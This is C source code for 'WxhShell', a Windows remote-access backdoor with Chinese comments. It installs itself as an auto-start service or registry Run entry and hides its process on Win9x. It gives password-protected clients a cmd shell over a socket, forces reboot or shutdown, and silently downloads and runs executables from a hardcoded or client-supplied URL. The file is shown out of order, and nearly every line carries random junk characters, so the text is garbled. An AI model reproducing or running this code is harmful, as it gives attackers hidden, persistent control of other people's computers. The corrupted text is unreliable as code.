    if(Boot(SHUTDOWN)) G{gc]7\=Cd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >J/8lS{#  
    else { :H>0/^Mg0  
    closesocket(wsh); /]-a 1  
    ExitThread(0); Fil6;R  
    } Wv]ODEd  
    break; '3fN2[(  
    } F h+g@ u6  
  // 获取shell ^xQPj6P}  
  case 's': { J$i.^|hE/  
    CmdShell(wsh); 2b&Fu\2Dmv  
    closesocket(wsh); z@v2t>@3k  
    ExitThread(0); yaPx=^&  
    break; `o?PLE;)p  
  } fndbGbl8p  
  // 退出 a(lmm@;V<  
  case 'x': { vsJM[$RF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /xCX. C  
    CloseIt(wsh); BT"n;L?[  
    break; %H4>k#b@$  
    } PQP|V>g  
  // 离开 EkoT U#w5  
  case 'q': { w%-S5#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )j. .)o  
    closesocket(wsh); ~>XqR/v  
    WSACleanup(); +asO4'r  
    exit(1); Wpc8T="q  
    break; 3 J5lz~6  
        } =3dd1n;8>  
  } 8khIy-9-'  
  } >L433qR  
onl,R{,`0  
  // 提示信息 qWD(rq+9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b8!   
} b-RuUfUn0  
  } \- 8aTF  
0wt4C% .0  
  return; c$x >6&&L  
} U:bnX51D4  
L3A2A  
// shell模块句柄 H4$f+  
int CmdShell(SOCKET sock) =_CH$F!U  
{ fk!9` p'  
STARTUPINFO si; Hp@Q  
ZeroMemory(&si,sizeof(si)); 0 {  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z\cD98B#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mF4y0r0  
PROCESS_INFORMATION ProcessInfo; f Xh{ _>  
char cmdline[]="cmd"; P3nBxw"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RT${7=  
  return 0; F@mxd  
} a ,"   
vmh>|N4a7  
// 自身启动模式 P](8Qrl  
int StartFromService(void) 9E NI%Jz  
{ UmY{2 nzY  
typedef struct ,RW`9+gx  
{ I?^(j;QpS  
  DWORD ExitStatus; *f_A :`:  
  DWORD PebBaseAddress; V7.g,  
  DWORD AffinityMask; +bT[lJ2O>G  
  DWORD BasePriority; N9*:]a  
  ULONG UniqueProcessId; aNA ]hl  
  ULONG InheritedFromUniqueProcessId; CD%Cb53  
}   PROCESS_BASIC_INFORMATION; \BN$WV  
ZCV i ZWo  
PROCNTQSIP NtQueryInformationProcess; :(wFNK/0{  
PQa0m)H@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @_7rd  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BC\W`K  
E@yo/S  
  HANDLE             hProcess; '#=0q  
  PROCESS_BASIC_INFORMATION pbi; /V63yzoY  
b%vIaP|]B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HUAYtUBH  
  if(NULL == hInst ) return 0; (m6V)y  
V )1.)XC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *ra>Kl0   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1z-A3a/-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U^7bj  
Dh}(B$~Oz+  
  if (!NtQueryInformationProcess) return 0; SOn)'!g  
_>rM[\|X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ([}08OW@  
  if(!hProcess) return 0; Pq8oK'z -  
ar6+n^pi0]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C#^y{q  
[0aC]XQZ  
  CloseHandle(hProcess); (CY D]n  
t$wbwP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8?Ju\W  
if(hProcess==NULL) return 0; 74MxU  
+ima$a0Zyt  
HMODULE hMod; {-8Nq`w  
char procName[255]; p6K~b  
unsigned long cbNeeded; /I!62?)-*  
6h2keyod  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I`H&b& .`  
ENIg_s4  
  CloseHandle(hProcess); u!5q)>Wt(  
AU}kIm_+  
if(strstr(procName,"services")) return 1; // 以服务启动 r)>3YM5  
$ P 5K   
  return 0; // 注册表启动 1*2ycfa  
} h7^&:  
t!*[nfR  
// 主模块 A|S)cr8z  
int StartWxhshell(LPSTR lpCmdLine) Wc2&3p9 c  
{ HbI{Xf[6LP  
  SOCKET wsl; ZY]$MZf5yo  
BOOL val=TRUE; ]oVP_ &E  
  int port=0; !p!Qg1O6o  
  struct sockaddr_in door; tWTHyL  
n qO*z<  
  if(wscfg.ws_autoins) Install();  Ux*xz|^  
GEF's#YWK  
port=atoi(lpCmdLine); "aF2:E'  
<)wLxWalF  
if(port<=0) port=wscfg.ws_port; uX3yq<lK"  
o>C,Db~L/  
  WSADATA data; $cHU,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )'T].kWW  
;_c&J&I  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -Pp{aF e  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Zf3(! a[  
  door.sin_family = AF_INET; '`2'<^yO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'g)f5n a[  
  door.sin_port = htons(port); :ig=zETM  
5>.ATfAsV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Si]?4:E7=  
closesocket(wsl); *6` ^8Y\  
return 1; LYECX  
} j0}wv~\  
<b,WxR`  
  if(listen(wsl,2) == INVALID_SOCKET) { v4s4D1}  
closesocket(wsl); )VkVZf | S  
return 1; Q4-d|  
} W9Azp8)p]  
  Wxhshell(wsl); jn|NrvrX  
  WSACleanup(); IC'+{3.m8  
\ YF@r7  
return 0; 9;v3 (U+:  
X}(X\rp  
} Nuot[1kS  
8xAIn>,_  
// 以NT服务方式启动 >8I~i:hn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x)dLY.'|  
{ Z40k>t D  
DWORD   status = 0; 8iaMr278W  
  DWORD   specificError = 0xfffffff; E/oLE^yL  
T90O.]S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?wG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Zqm%qm:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Yv]vl6<  
  serviceStatus.dwWin32ExitCode     = 0; 0vfMJzk  
  serviceStatus.dwServiceSpecificExitCode = 0; WLXt@dK*u  
  serviceStatus.dwCheckPoint       = 0; "KK}} $>  
  serviceStatus.dwWaitHint       = 0; \-]Jm[]^  
1$03:ve1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y QC.jnb2  
  if (hServiceStatusHandle==0) return; eK1l~W%  
4N$Wpx  
status = GetLastError(); ? bWc<]  
  if (status!=NO_ERROR) ty['yV-;a  
{ p1niS:}j  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 98R/ ^\  
    serviceStatus.dwCheckPoint       = 0; 6/L[`n"G  
    serviceStatus.dwWaitHint       = 0; >l)x~Bkf$j  
    serviceStatus.dwWin32ExitCode     = status; }w35fG^  
    serviceStatus.dwServiceSpecificExitCode = specificError; vzI>:Bf  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ) 6QJZ$  
    return; &2  Yo  
  } 3l~7  
npkT>dB+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; nw/g[/<;  
  serviceStatus.dwCheckPoint       = 0; VO:  
  serviceStatus.dwWaitHint       = 0; %1k"K~eu  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i`l;k~rP  
} n-M6~   
n%36a(] t  
// 处理NT服务事件,比如:启动、停止 ;U?=YSHk7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) igTs[q=Ak  
{ l^bak]9 1  
switch(fdwControl) ,/p+#|>C=  
{  -V2`[k  
case SERVICE_CONTROL_STOP: ,|$1(z*a{c  
  serviceStatus.dwWin32ExitCode = 0; W7|nc,i0\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \PN*gDmX  
  serviceStatus.dwCheckPoint   = 0; x4kQGe(  
  serviceStatus.dwWaitHint     = 0; fI;nVRf p  
  { R$u1\r1I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6rE8P#  
  } 5#f_1 V  
  return; Y]6d Yq{k  
case SERVICE_CONTROL_PAUSE: b (@GKH"W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <n k/w5nKL  
  break; @Zhd/=2[  
case SERVICE_CONTROL_CONTINUE: EVqqOp1$v4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "\+\,C  
  break; (g[WZB3x  
case SERVICE_CONTROL_INTERROGATE: EY)?hJS,  
  break; f\$_^dV  
}; 'e<8j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GK6~~ga=  
} ?vWF[ DRd'  
X<Xiva85  
// 标准应用程序主函数 $rQ7"w J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H0B=X l[  
{ 'HV@i)h0%V  
}vP(SF 6  
// 获取操作系统版本 =s.0 f:(  
OsIsNt=GetOsVer(); t}}Ti$$>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @6!Myez'  
5sEk rT '  
  // 从命令行安装 By[M|4a  
  if(strpbrk(lpCmdLine,"iI")) Install(); _@)-#7  
S~m8j |3K  
  // 下载执行文件 xp^Jp  
if(wscfg.ws_downexe) { 7NOF^/nU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o+k*ia~Fa  
  WinExec(wscfg.ws_filenam,SW_HIDE); <7Yh<(R e^  
} VS`{k^^  
-+2A@kmEJ  
if(!OsIsNt) { )B+zv,#q  
// 如果时win9x,隐藏进程并且设置为注册表启动 B )\;Ja  
HideProc(); NTK9`#SA  
StartWxhshell(lpCmdLine); ]d{lS&PRlg  
} ;U a48pSv  
else q!><:"#[G  
  if(StartFromService()) KT(v'KE 1  
  // 以服务方式启动 e^;:iJS  
  StartServiceCtrlDispatcher(DispatchTable); fpO2bD%$8  
else lc [)Ev  
  // 普通方式启动 j-i>Jd7  
  StartWxhshell(lpCmdLine); x{G 'IEf  
5K&A2zC|  
return 0; muK.x7zyl  
} /c!^(5K fT  
t1yfSStp  
i&)([C0z$  
9@Cu5U]  
=========================================== \fvm6$ rZ^  
f }.t  
~(Q#G" t  
.Tw:Y,G  
%SCt_9u  
r1=j$G  
" /&czaAR-  
QWt3KW8)  
#include <stdio.h> 8B!QqLqK  
#include <string.h> QaA?UzB  
#include <windows.h> k3Puq1H  
#include <winsock2.h> >xF&>SDC  
#include <winsvc.h> "HH<5  M  
#include <urlmon.h> 3=Uyt  
DV>;sCMJ %  
#pragma comment (lib, "Ws2_32.lib") v<(+ l)Ln  
#pragma comment (lib, "urlmon.lib") '9Q#%E!*  
X(#8EY}X  
#define MAX_USER   100 // 最大客户端连接数 KP>1%ap6  
#define BUF_SOCK   200 // sock buffer _sL;E<)y(  
#define KEY_BUFF   255 // 输入 buffer AG;KXL[V  
U1 rr=h g  
#define REBOOT     0   // 重启 zITxJx  
#define SHUTDOWN   1   // 关机 Gfy9YH~  
cc1M9kVi  
#define DEF_PORT   5000 // 监听端口 /+ais 3  
MpJ\4D5G  
#define REG_LEN     16   // 注册表键长度 '0o^T 7C  
#define SVC_LEN     80   // NT服务名长度 cT&lkS  
Rz&}e@stl  
// 从dll定义API &t!f dti  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F8/n;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5'w&M{{9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WYcZD_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m0^~VK|  
\TDn q!)?  
// wxhshell配置信息 )!G 10  
struct WSCFG { ?zVE7;r4U  
  int ws_port;         // 监听端口 Xw|-v$'y  
  char ws_passstr[REG_LEN]; // 口令 $j@P 8<M7  
  int ws_autoins;       // 安装标记, 1=yes 0=no *;F<Q!i&v  
  char ws_regname[REG_LEN]; // 注册表键名 g1l:k1\Ht  
  char ws_svcname[REG_LEN]; // 服务名 Mdp'u$^!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r5$!41   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4V mUTMY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2$o\`^dy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]xJ. OUJy  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {aK3'-7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :gRVa=}=  
#~w~k+E4  
}; t9lf=+%s  
i`iR7UmHeR  
// default Wxhshell configuration |}X[Yg=FG  
struct WSCFG wscfg={DEF_PORT, OW!y7  
    "xuhuanlingzhe", 66_=bd(9  
    1, =k1sF3.V'c  
    "Wxhshell", Z,~@_;F  
    "Wxhshell", AOV{@ b(  
            "WxhShell Service", #)S&Z><<  
    "Wrsky Windows CmdShell Service", qIh9? |`U  
    "Please Input Your Password: ", wqzpFPk(  
  1, @s,kx.S  
  "http://www.wrsky.com/wxhshell.exe", KhL%ov  
  "Wxhshell.exe" p^ OHLT  
    }; 3m$Qd#|  
|fgh ryI,  
// 消息定义模块 Y^8'P /A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WWOjck #  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "t-9q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P{StF`>Y  
char *msg_ws_ext="\n\rExit."; 'S&Zq:  
char *msg_ws_end="\n\rQuit."; (W[]}k ;  
char *msg_ws_boot="\n\rReboot..."; I"KosSs  
char *msg_ws_poff="\n\rShutdown..."; 2{oQ  
char *msg_ws_down="\n\rSave to "; wuSotbc/  
B9c gVTLj  
char *msg_ws_err="\n\rErr!"; T;S6<J  
char *msg_ws_ok="\n\rOK!"; rA8{Q.L  
tv: mjS  
char ExeFile[MAX_PATH]; 2j ]uB0  
int nUser = 0; oP:R1<  
HANDLE handles[MAX_USER]; 'tX}6wurf  
int OsIsNt; M+lr [,c  
RfT)dS+rAh  
SERVICE_STATUS       serviceStatus; y!q`o$nK  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4|4[3Ye7u:  
,;<M+V3+  
// 函数声明 ,TYFPulYcp  
int Install(void); J'k^(ZZ  
int Uninstall(void); :H:+XIgoR  
int DownloadFile(char *sURL, SOCKET wsh); GBT219Z@8  
int Boot(int flag); ,8!'jE[d  
void HideProc(void); 10N0?K"  
int GetOsVer(void); u Qg$hS  
int Wxhshell(SOCKET wsl); - "{hP  
void TalkWithClient(void *cs); 53^3. .E|  
int CmdShell(SOCKET sock); I\IDt~  
int StartFromService(void); lfr^NxOU  
int StartWxhshell(LPSTR lpCmdLine); n{M-t@r7  
HLL=.: P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,)VAKrSg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7f<@+&  
*qxv"PptX  
// 数据结构和表定义 R0G!5>1i  
SERVICE_TABLE_ENTRY DispatchTable[] = [jGE {<Je  
{ zz8NBO  
{wscfg.ws_svcname, NTServiceMain}, (UTA3Db  
{NULL, NULL} kjt(OFh'Y+  
}; nB/`~_9  
y I[kaH"J  
// 自我安装 'aS: Azb  
int Install(void) #RKd >ig%  
{ Qv)DSl  
  char svExeFile[MAX_PATH]; !FvL2L  
  HKEY key; =Ew77  
  strcpy(svExeFile,ExeFile); Or55_E  
Z2-"NB  
// 如果是win9x系统,修改注册表设为自启动 Nk1p)V SC  
if(!OsIsNt) { A+z}z@K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1KjzKFnb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @ 0/EKWF  
  RegCloseKey(key); jHV) TBr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L D%SLJ:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <S12=<c?'  
  RegCloseKey(key); 9S<V5$}  
  return 0; :!FGvR6  
    } };f^*KZ=0  
  } =<AG}by![  
} h dqr~9  
else { 3ik~PgGoKQ  
w BoP&l  
// 如果是NT以上系统,安装为系统服务 n 8FIxl&u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `9A`pC  
if (schSCManager!=0) U? ;Q\=>  
{ Q@*9|6-  
  SC_HANDLE schService = CreateService ?!3u ?Kd  
  ( O8-Z >;  
  schSCManager, a%QgL&_5  
  wscfg.ws_svcname, anORoK.  
  wscfg.ws_svcdisp, u]]mbER*t#  
  SERVICE_ALL_ACCESS, u_b6u@r7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n;>r  
  SERVICE_AUTO_START, FS*J8)  
  SERVICE_ERROR_NORMAL, mqY=N~/O  
  svExeFile, gb}ov* *  
  NULL, }^*`&Lh  
  NULL, =>O{hT ^F  
  NULL, *=Ma5J.  
  NULL, DW)X3A(^  
  NULL o<5+v^mt#  
  ); 'L^M"f^I  
  if (schService!=0) &M=15 uCK  
  { 8< J3Xe  
  CloseServiceHandle(schService); PK&X | h  
  CloseServiceHandle(schSCManager); ]1I-e2Q-J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); OUN"'p%%  
  strcat(svExeFile,wscfg.ws_svcname); yvnvIy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .s|5AC[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q77Iq0VR  
  RegCloseKey(key); Pu'lp O  
  return 0; 6H0aHCM  
    } V8Z@y&ny  
  } ZbH_h]1$D  
  CloseServiceHandle(schSCManager); j_b/66JyN  
} Zj0h0Vt  
} 7>EMr}f C  
rAD4}A_w  
return 1; 4z^~,7J^  
} 5H( ]"C  
w*u.z(:a`  
// 自我卸载 iL~(BnsF  
int Uninstall(void) <1`MjP*w  
{ cVSns\QO  
  HKEY key; GbvbGEG  
hK3Twzte  
if(!OsIsNt) { 8L`wib2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YI]/gWeu  
  RegDeleteValue(key,wscfg.ws_regname); %2beoH'  
  RegCloseKey(key); ;x/. 8fA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |_a^+!P  
  RegDeleteValue(key,wscfg.ws_regname); _Ecs{'k  
  RegCloseKey(key); ~W3t(\B'  
  return 0; I,r0K]  
  } .fK~IKA  
} "po;[ Ia2  
} \#gguq?[  
else { msOE#QL6a  
Q*8 x Bi1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e|^.N[W  
if (schSCManager!=0) {l\Ep=O vx  
{ -:Q"aeC5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N_(-\\mq  
  if (schService!=0) VuH }@  
  { tn|H~iF{  
  if(DeleteService(schService)!=0) { }t1 q5@QU  
  CloseServiceHandle(schService); D<[kbt 5^7  
  CloseServiceHandle(schSCManager); 2N.!#~_2D  
  return 0; zJOyr"B'8  
  } 9|K :\!7  
  CloseServiceHandle(schService); 0 Cyus  
  } VI.Cmw~S  
  CloseServiceHandle(schSCManager); "DRiJ.|APs  
} B.);Ju  
} g$z6*bL  
+Edq4QYwR  
return 1; G%CS1#  
} V! .I>  
H<q z rO  
// 从指定url下载文件 rgEN~e'  
int DownloadFile(char *sURL, SOCKET wsh) -JclEp  
{ )?( _vrc<  
  HRESULT hr; SN$3cg]z  
char seps[]= "/"; ,5x9o"N!  
char *token; yEVnG` 1  
char *file; _gpf9ad  
char myURL[MAX_PATH]; v}@Uc-(  
char myFILE[MAX_PATH]; HYNpvK  
~SwGZ  
strcpy(myURL,sURL); gj }Vnv1[  
  token=strtok(myURL,seps); xk^`4;  
  while(token!=NULL) yx7y3TSq  
  { CH6;jo]  
    file=token; 04a@  
  token=strtok(NULL,seps); 0Q]{r )  
  } 'Xasd3*Py  
t ;y@;?~  
GetCurrentDirectory(MAX_PATH,myFILE); >Hd!o"I  
strcat(myFILE, "\\"); hS^8/]E={  
strcat(myFILE, file); c2PBYFCyC  
  send(wsh,myFILE,strlen(myFILE),0); r6nWrO>y  
send(wsh,"...",3,0); V@`%k]k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |#B)`r8  
  if(hr==S_OK) $7p0<<Nck  
return 0; Lv#}Gm  
else Zb+n\sv4  
return 1; IYhn*  
^[q/w<_j~  
} 1W7ClT_cQ  
"_\77cqpTh  
// 系统电源模块 9CZ EP0i7  
int Boot(int flag) i~m;Ah,#  
{ g? C<@  
  HANDLE hToken; $Ut1vp1$  
  TOKEN_PRIVILEGES tkp; DyRU$U  
8(H!iKHe  
  if(OsIsNt) { o\nFSG kn  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); - I~\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }50s\H._C  
    tkp.PrivilegeCount = 1; cY|@s?3NND  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z AY -Y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E .CG  
if(flag==REBOOT) { d;).| .}P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) eqyUI|e  
  return 0; WogCt,  
} RuOse9  
else { <"7Wb"+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YOY2K%o  
  return 0; @680.+Kw  
} T~d_?UAw$  
  } UvL=^*tm  
  else { 2hb>6Z;r]K  
if(flag==REBOOT) { D#d/?\2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )c.!3n/pb  
  return 0; 2UTmQOm  
} -LlS9[r0  
else { 1gX$U00:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k%;oc$0G-3  
  return 0; 7<LCX{Uw  
} K>#QC  
} uFfk!  
N \woFrG  
return 1; I@(3~ Ab  
} *~zB{  
w`F'loUEt  
// win9x进程隐藏模块 OK \9`  
void HideProc(void) 0 .ck!"h}  
{  \ns} M3  
dfXBgsc6i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :\%ZTBLL  
  if ( hKernel != NULL ) (b7',:_U7  
  { i`!>zl+D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xQNGlVipZ@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p,3}A( >  
    FreeLibrary(hKernel); 352RJC  
  } ;/!o0:m^I  
,S&p\(r.  
return; bMqFrG  
} {wf5HA  
@/='BVb'T  
// 获取操作系统版本 BoHNni  
int GetOsVer(void) }RUK?:lEA  
{ ?JR?PW8  
  OSVERSIONINFO winfo; <_SdW 5BF<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ZSLvr-,D  
  GetVersionEx(&winfo); r>6FJ:Tx  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K#R|GEwr  
  return 1; I.U=%{.  
  else SgQ(#y|vV  
  return 0; FMT_X  
} HcGbe37Xq  
]ts^h~BZ$  
// 客户端句柄模块 8>|<m'e^\r  
int Wxhshell(SOCKET wsl) "!:)qVL^  
{ tV2o9!N4  
  SOCKET wsh; /#[mV(k  
  struct sockaddr_in client; NZ% v{?  
  DWORD myID; b{.Y?.U  
KB gFS%-W  
  while(nUser<MAX_USER) 2|${2u`$&y  
{ =0>[-:Z  
  int nSize=sizeof(client); |W5lhx0U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i({MID)/_  
  if(wsh==INVALID_SOCKET) return 1; Wp^ A.  
af&P;#U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v|nt(-JX  
if(handles[nUser]==0) <=%G%V_s  
  closesocket(wsh); LKg9{0Y:  
else tYx>?~   
  nUser++; )Dyyb1\)  
  } UryHte  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f;bVzti+w  
`_OB_F  
  return 0; 4XSq\.@G  
} eRg;)[#0>$  
>j&k:  
// 关闭 socket Mz;KXP  
void CloseIt(SOCKET wsh) *~d<]U5h  
{ m>!aI?g  
closesocket(wsh); b:$q5  
nUser--; UGP&&A#T-  
ExitThread(0); it->)?"(6  
} ]G,BSttD  
ozl>Au  
// 客户端请求句柄  K"Gea`I  
void TalkWithClient(void *cs) a#&\65D  
{ $v=(`=  
}s.\B    
  SOCKET wsh=(SOCKET)cs; <,J O  
  char pwd[SVC_LEN]; u`pw'3hY  
  char cmd[KEY_BUFF]; [+qB^6I+P%  
char chr[1]; l=47#zbpZ]  
int i,j; sRflabl *x  
_Bhd@S!  
  while (nUser < MAX_USER) { =P,pW  
K~~LJU3  
if(wscfg.ws_passstr) { /pJr%}sc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?&POVf>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 22`e7  
  //ZeroMemory(pwd,KEY_BUFF); f+2mX"Z[F  
      i=0; DK|/|C}6  
  while(i<SVC_LEN) { G#6O'G N  
8Y;2.Z`Rz  
  // 设置超时 g>{t>B%v^K  
  fd_set FdRead; j+2-Xy'  
  struct timeval TimeOut; g ~%IA.$c  
  FD_ZERO(&FdRead); Or-LQ^~  
  FD_SET(wsh,&FdRead); a,e;(/#\7  
  TimeOut.tv_sec=8; )2R]KU_=g  
  TimeOut.tv_usec=0; srH.$Y;~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Bd[H@oKru  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ZpZoOdjslV  
1czU$!MV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sAjN<P  
  pwd=chr[0]; W2A!BaH%  
  if(chr[0]==0xd || chr[0]==0xa) { 5?TX.h9B4  
  pwd=0; )9+H[  
  break; E>F6!qYm  
  } peVzF'F  
  i++; #/)U0 IR)  
    } r<'B\.#tp>  
%< Jj[F  
  // 如果是非法用户,关闭 socket %/R[cj 8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I<S*"[nV  
} u89Q2\z~"M  
)Zrn?KM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |Rb8 / WX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #2%8@?_-M  
*\^(-p~M  
while(1) { pK)!o  
q[c^`5  
  ZeroMemory(cmd,KEY_BUFF); F`o"t]AD-a  
unyU|B  
      // 自动支持客户端 telnet标准   \3 O1o#=(  
  j=0; LqS_%6^  
  while(j<KEY_BUFF) { ,?!MVN-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gY_AO1  
  cmd[j]=chr[0]; kuv+TN  
  if(chr[0]==0xa || chr[0]==0xd) { 1z@{ 4)  
  cmd[j]=0; S*H @`Do%d  
  break; \_/dfmlIZ  
  } MFqb_q+  
  j++; >vNE3S_  
    } ]F"@+_E  
o1[[!~8e  
  // 下载文件 HyIyrUrYW  
  if(strstr(cmd,"http://")) { `Nv7c{M^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); KnUVR!H|  
  if(DownloadFile(cmd,wsh)) !Za yN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P#AS")Sj  
  else 4K >z?jd  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qG#ZYcVec  
  } Bu4@FIK!C  
  else { `Yyi;!+0  
 `dIwBfg_  
    switch(cmd[0]) { aO* v"^oF  
  KuMH,rXF  
